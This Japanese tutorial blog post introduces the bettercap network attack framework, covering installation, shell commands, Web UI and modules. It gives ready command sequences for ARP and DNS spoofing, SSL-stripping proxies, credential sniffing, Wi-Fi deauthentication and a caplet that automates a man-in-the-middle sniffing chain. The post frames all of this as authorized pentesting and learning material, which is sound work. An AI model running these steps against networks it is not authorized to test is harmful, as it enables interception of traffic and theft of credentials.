bettercap入門:ネットワーク分析とセキュリティテストのための強力なツール 🔧

セキュリティツール

はじめに:bettercapとは? 🤔

bettercapは、ネットワークの偵察、分析、そして中間者攻撃(Man-in-the-Middle, MitM)攻撃の実行とテストを目的とした、非常に強力で柔軟なフレームワークです。Go言語で書かれており、パフォーマンスが高く、ポータブルであることが特徴です。セキュリティ研究者、レッドチーム、リバースエンジニア、ネットワーク管理者など、ネットワークの内部動作を理解し、セキュリティ体制を評価したい人々にとって、「スイスアーミーナイフ」のような存在と言えるでしょう。

もともとはEttercapの後継として開発されましたが(”bettercap”の名前の由来)、現在のバージョン(2.x以降)は完全にGo言語で書き直され、機能が大幅に拡張されています。Wi-Fiネットワーク、Bluetooth Low Energy (BLE) デバイス、HIDデバイス(キーボードやマウスなど)、有線イーサネット(IPv4およびIPv6)など、幅広いネットワーク環境に対応しています。

主な機能には以下のようなものがあります:

  • ネットワークホストの探索と情報収集
  • ARPスプーフィング、DNSスプーフィング、DHCPv6スプーフィングなどのMitM攻撃
  • トラフィックの傍受と分析(スニッフィング)
  • HTTP/HTTPS/TCPプロキシ機能(トラフィックのリアルタイム改ざんも可能)
  • 認証情報(クレデンシャル)の収集
  • ポートスキャン
  • Wi-Fiネットワークのスキャン、認証解除攻撃、PMKIDキャプチャなど
  • Bluetooth Low Energy (BLE) デバイスのスキャンと特性の読み書き
  • 2.4GHz帯ワイヤレスデバイスのスキャンとMouseJacking攻撃(HIDフレームインジェクション)
  • Webベースのユーザーインターフェース(Web UI)
  • Capletによる操作の自動化(スクリプティング)
⚠️ 重要:倫理的な利用について
bettercapは強力なツールであり、ネットワークセキュリティのテストや学習に非常に役立ちます。しかし、その能力を悪用すれば、他人のプライバシーを侵害したり、法に触れる行為につながる可能性があります。必ず、自身が管理権限を持つネットワーク、または明示的な許可を得たネットワークでのみ使用してください。不正アクセスやプライバシー侵害は犯罪です。このツールは、防御策を理解し、セキュリティを向上させる目的でのみ使用されるべきです。

インストール 💻

bettercapは、Linux、macOS、Windows、Androidなど、多くのプラットフォームで動作します。インストール方法はいくつかありますが、ここでは一般的な方法を紹介します。

前提条件

システムによっては、以下の依存パッケージが必要になる場合があります。特にソースからビルドする場合や、特定の機能(HID、パケットプロキシなど)を利用する場合に必要です。

  • libpcap-dev (または libpcap-devel): パケットキャプチャライブラリ
  • libusb-1.0-0-dev (または libusb-devel): USBライブラリ(HIDモジュール用)
  • libnetfilter-queue-dev (Linuxのみ): パケットプロキシモジュール用
  • build-essential (Debian/Ubuntu) または同等のビルドツール群
  • pkg-config

Debian/Ubuntuベースのシステムでは、以下のようにインストールできます。

sudo apt update
sudo apt install build-essential libpcap-dev libusb-1.0-0-dev libnetfilter-queue-dev pkg-config

インストール方法

1. 事前コンパイル済みバイナリ (推奨)

最も簡単な方法は、GitHubリリースページから自分のOSに対応したコンパイル済みバイナリをダウンロードすることです。

GitHub Releases Page

ダウンロードしたアーカイブを展開し、実行ファイルをパスの通ったディレクトリ(例: /usr/local/bin/)に配置します。実行権限を付与するのを忘れないでください。

# 例 (Linux x64の場合)
wget https://github.com/bettercap/bettercap/releases/download/vX.Y.Z/bettercap_linux_amd64_vX.Y.Z.zip
unzip bettercap_linux_amd64_vX.Y.Z.zip
sudo mv bettercap /usr/local/bin/
sudo chmod +x /usr/local/bin/bettercap

※ `vX.Y.Z` は実際のバージョン番号に置き換えてください。

2. Go言語によるインストール

Go言語の開発環境がセットアップされていれば、go install コマンドでインストールできます。

go install github.com/bettercap/bettercap@latest

これにより、$GOPATH/bin ディレクトリに `bettercap` バイナリがインストールされます。

3. ソースからのコンパイル

最新の開発版を試したい場合や、特定のカスタマイズを行いたい場合は、ソースコードからビルドします。

git clone https://github.com/bettercap/bettercap.git
cd bettercap
make build
sudo make install

これにはGo言語の開発環境と上記の前提条件が必要です。

4. パッケージマネージャ (Kali Linuxなど)

Kali Linuxなどのペネトレーションテスト用ディストリビューションでは、パッケージマネージャから簡単にインストールできる場合があります。

sudo apt update
sudo apt install bettercap

ただし、リポジトリのバージョンが最新でない場合もあります。

インストールの確認

インストール後、ターミナルで以下のコマンドを実行して、バージョン情報が表示されれば成功です。bettercapは通常、root権限(管理者権限)で実行する必要があります。

sudo bettercap -version

基本的な使い方 (インタラクティブモード) ⌨️

bettercapは、引数なしで起動するとインタラクティブなシェルセッションを開始します。Metasploit Frameworkを使ったことがあるなら、似たような感覚で操作できるでしょう。

sudo bettercap

プロンプト(例: eth0 (192.168.1.10) »)が表示され、コマンドを入力して操作します。

ヘルプの表示

利用可能なコマンドやモジュールの一覧、特定のコマンドやモジュールの詳細な使い方を確認するには `help` コマンドを使用します。

# 利用可能な全コマンドとモジュールを表示
help

# 特定のモジュール(例: net.recon)のヘルプを表示
help net.recon

# 特定のパラメータ(例: net.sniff.output)のヘルプを表示
help net.sniff.output

基本的なコマンド

  • net.probe on: ネットワーク上のホスト探索を開始します。
  • net.show: 検出されたホストの一覧を表示します。
  • set <パラメータ名> <値>: モジュールのパラメータを設定します。 (例: set http.proxy.sslstrip true)
  • get <パラメータ名>: パラメータの現在の値を取得します。
  • <モジュール名> on/off: モジュールを有効/無効にします。 (例: arp.spoof on)
  • clear: 画面をクリアします。
  • active: 現在有効になっているモジュールを表示します。
  • q または quit: bettercapセッションを終了します。
  • ;: 複数のコマンドを一行で連結して実行できます。(例: clear; net.show)

インターフェースの指定

複数のネットワークインターフェースがある場合、-iface オプションで対象のインターフェースを指定して起動できます。

sudo bettercap -iface wlan0

インタラクティブセッション内からでも set net.iface wlan0 のように変更可能です。

主要なモジュール(Capsules)と使用例 🚀

bettercapの機能は「モジュール」または「Capsule」と呼ばれる単位で構成されています。ここではいくつかの主要なモジュールとその簡単な使用例を紹介します。

ネットワーク偵察 (net.recon, net.probe)

ローカルネットワーク上のアクティブなホストを発見し、IPアドレス、MACアドレス、ホスト名などの情報を収集します。

# ホスト探索をバックグラウンドで継続的に実行
net.probe on

# しばらく待ってから検出されたホストを表示
net.show

# ホスト探索を停止
net.probe off

net.recon モジュールは、一度スキャンを実行して結果を表示します。

net.recon on

ARPスプーフィング (arp.spoof)

中間者攻撃(MitM)の基本的な手法の一つです。ターゲットデバイスとゲートウェイ(ルーター)に対して、自身のMACアドレスが相手のものであるかのように偽装したARP応答を送信します。これにより、ターゲット間の通信が攻撃者のマシンを経由するようになります。

# ネットワーク全体の通信を対象にする (デフォルト)
set arp.spoof.fullduplex true  # ターゲットとゲートウェイの両方をスプーフィング
arp.spoof on

# 特定のターゲットのみを対象にする (例: 192.168.1.15 と 192.168.1.20)
set arp.spoof.targets 192.168.1.15, 192.168.1.20
set arp.spoof.fullduplex true
arp.spoof on

# ARPスプーフィングを停止
arp.spoof off
注意: ARPスプーフィングはネットワークに混乱を引き起こす可能性があります。許可なく実行しないでください。

DNSスプーフィング (dns.spoof)

ARPスプーフィングなどで通信経路を確保した後、ターゲットからのDNSクエリに対して偽の応答を返し、特定のドメイン名を攻撃者が用意したIPアドレスに解決させます。フィッシングサイトへの誘導などに使われることがあります。

# 特定のドメイン (例: example.com) を指定したIP (例: 192.168.1.100) に解決
set dns.spoof.domains example.com, *.example.com
set dns.spoof.address 192.168.1.100
dns.spoof on

# 全てのドメインを対象にする
set dns.spoof.all true
set dns.spoof.address 192.168.1.100
dns.spoof on

# DNSスプーフィングを停止
dns.spoof off

HTTP/HTTPSプロキシとスニッフィング (http.proxy, https.proxy, net.sniff)

ARPスプーフィングなどで経路上に位置した後、HTTP/HTTPS通信を傍受・分析します。http.proxyhttps.proxy を使うと、通信内容をリアルタイムで表示したり、JavaScriptを注入したり、特定のURLへのリクエストを書き換えたりできます。net.sniff はより低レイヤーでパケットをキャプチャし、認証情報などを探します。

# ARPスプーフィングを実行 (前提)
set arp.spoof.fullduplex true
arp.spoof on

# HTTPプロキシを起動 (デフォルトポート: 8080)
http.proxy on

# HTTPSプロキシを起動 (SSLストリッピング試行、デフォルトポート: 8081)
# 注意: HSTSなどにより機能しない場合が多い
set http.proxy.sslstrip true
https.proxy on

# ネットワークスニッファを起動
net.sniff on

# しばらくして停止
net.sniff off
http.proxy off
https.proxy off
arp.spoof off

net.sniff が収集した認証情報は events.show コマンドなどで確認できます。

# 過去10件のイベントを表示
events.show 10

Wi-Fi監査 (wifi.*)

Wi-Fiネットワークの探索、接続されているクライアントの表示、認証解除(Deauthentication)攻撃などを行います。これらを実行するには、モニターモードとパケットインジェクションに対応したWi-Fiアダプタが必要です。

# Wi-Fiアダプタをモニターモードにする (事前にairmon-ngなどで設定が必要な場合あり)
# bettercapが自動で試みる場合もある
# 例: sudo airmon-ng start wlan0

# bettercapでWi-Fiインターフェースを指定 (例: wlan0mon)
sudo bettercap -iface wlan0mon

# (bettercapシェル内)
# 周囲のWi-Fiアクセスポイントをスキャン
wifi.recon on

# スキャン結果を表示
wifi.show

# 特定のアクセスポイント (例: BSSID AA:BB:CC:DD:EE:FF) に接続しているクライアントを切断
set wifi.deauth.bssid AA:BB:CC:DD:EE:FF
wifi.deauth on

# Wi-Fi関連の操作を停止
wifi.recon off
wifi.deauth off

WPA/WPA2のハンドシェイクやPMKIDをキャプチャしてオフラインでのパスワード解析を試みる機能もあります。

Bluetooth Low Energy (BLE) スキャン (ble.recon)

周囲のBLEデバイス(スマートウォッチ、フィットネストラッカーなど)を探索します。

# BLEデバイスの探索を開始
ble.recon on

# しばらくして停止
ble.recon off

# 検出されたデバイスを表示 (net.show に統合されている場合あり)
net.show

Capletによる自動化 📜

Caplet(キャプレット)は、bettercapのインタラクティブセッションでの一連の操作を記述したスクリプトファイルです(拡張子は `.cap`)。これにより、定型的なタスクを自動化したり、複雑な攻撃シナリオを簡単に再現したりできます。Metasploitの `.rc` ファイルに似ています。

Capletファイルには、インタラクティブセッションで入力するコマンドを一行ずつ記述します。

Capletの例 (mitm_sniff.cap)

以下のCapletは、ネットワーク探索を開始し、ARPスプーフィングを有効にし、HTTP/HTTPSプロキシとネットワークスニッファを起動するという一連の操作を自動化します。

# mitm_sniff.cap
# ネットワーク探索を開始
net.probe on

# ARPスプーフィングの設定と有効化
set arp.spoof.fullduplex true
arp.spoof on

# HTTP/HTTPSプロキシの設定と有効化 (SSLストリッピング試行)
set http.proxy.sslstrip true
http.proxy on
https.proxy on

# ネットワークスニッファを有効化
net.sniff on

Capletの実行

作成したCapletファイルは、bettercap起動時に `-caplet` オプションで指定して実行します。

sudo bettercap -caplet /path/to/mitm_sniff.cap

または、Capletファイルを特定のディレクトリ(カレントディレクトリ、`./caplets/`、環境変数 `$CAPSPATH` で指定されたディレクトリ、`/usr/local/share/bettercap/caplets/` など)に配置しておけば、ファイル名だけで指定できます。

sudo bettercap -caplet mitm_sniff

公式Capletリポジトリ

bettercapには、様々な用途のための定義済みCapletが多数用意されています。これらはGitHubリポジトリで公開されており、`caplets.update` コマンドでインストール・更新できます。

# (bettercapシェル内)
caplets.update

bettercap/caplets on GitHub

例えば、`hstshijack` や `beef-active` など、より高度な攻撃を自動化するCapletがあります。

Web UIによる操作 🌐

bettercapは、コマンドライン操作に加えて、グラフィカルなWebユーザーインターフェース(Web UI)も提供しています。初心者にとっては、こちらの方が直感的で使いやすいかもしれません。

Web UIの起動

Web UIを利用するには、まずWeb UIコンポーネントがインストールされている必要があります。パッケージマネージャ(例: `sudo apt install bettercap-ui`)や手動でのセットアップが必要です。

インストール後、以下のコマンドでbettercapを起動すると、WebサーバーとAPIが起動し、Web UIにアクセスできるようになります。

sudo bettercap -eval "ui.update; ui.on"

または、インタラクティブセッション内で以下のコマンドを実行します。

# Web UIモジュールを更新 (初回や更新時)
ui.update

# Web UI と API を起動
api.rest on
http-ui on

起動時にWebサーバーのアドレスとポート(デフォルトでは `http://127.0.0.1:8083` など)が表示されるので、Webブラウザでそのアドレスにアクセスします。

Web UIの機能

Web UIにアクセスすると、認証情報の入力(初回起動時に生成・表示される)を求められる場合があります。ログインすると、以下のような操作をグラフィカルに行えます。

  • ネットワーク上のホストの表示と管理
  • Wi-Fiネットワークのスキャン結果の表示
  • 各種モジュール(ARPスプーフィング、DNSスプーフィング、プロキシ、スニッファなど)の有効化/無効化
  • モジュールのパラメータ設定
  • キャプチャされたデータ(認証情報、HTTPリクエストなど)の表示
  • イベントログの確認

コマンドラインのインタラクティブモードとほぼ同等の機能が、より視覚的に分かりやすく提供されています。各機能のオン/オフはトグルスイッチなどで簡単に行えます。

Web UIは、bettercapの全体像を把握したり、複数のモジュールを同時に監視したりするのに便利です。特に、多くのホストやネットワークイベントを扱う場合に役立ちます。🎉

倫理的な考慮事項とまとめ 🛡️

これまで見てきたように、bettercapはネットワーク分析とセキュリティテストのための非常に強力で多機能なツールです。中間者攻撃のシミュレーション、ネットワークトラフィックの監視、脆弱性の発見など、様々な用途に活用できます。

しかし、その強力さゆえに、悪用されるリスクも伴います。改めて強調しますが、bettercapの使用は、必ず法と倫理の範囲内で行ってください。許可なく他人のネットワークやデバイスに対してこのツールを使用することは、重大なプライバシー侵害であり、法的な責任を問われる可能性があります。教育目的や自身の管理下にある環境でのテスト、あるいは正式なペネトレーションテストの契約に基づいた活動に限定してください。

bettercapを正しく理解し、責任を持って使用することで、ネットワークセキュリティの知識を深め、自身や組織のシステムを保護するための洞察を得ることができます。

この記事では、bettercapの基本的な使い方から、主要なモジュール、Capletによる自動化、Web UIまでを紹介しました。しかし、bettercapにはさらに多くの機能や詳細な設定オプションが存在します。公式ドキュメントやコミュニティリソースを参照し、さらに探求してみることをお勧めします。🔍

安全でセキュアなデジタル社会の実現に向けて、このようなツールを倫理的に活用していきましょう。Happy Hacking (ethically)! 😊

公式ドキュメント: https://www.bettercap.org/

コメント

タイトルとURLをコピーしました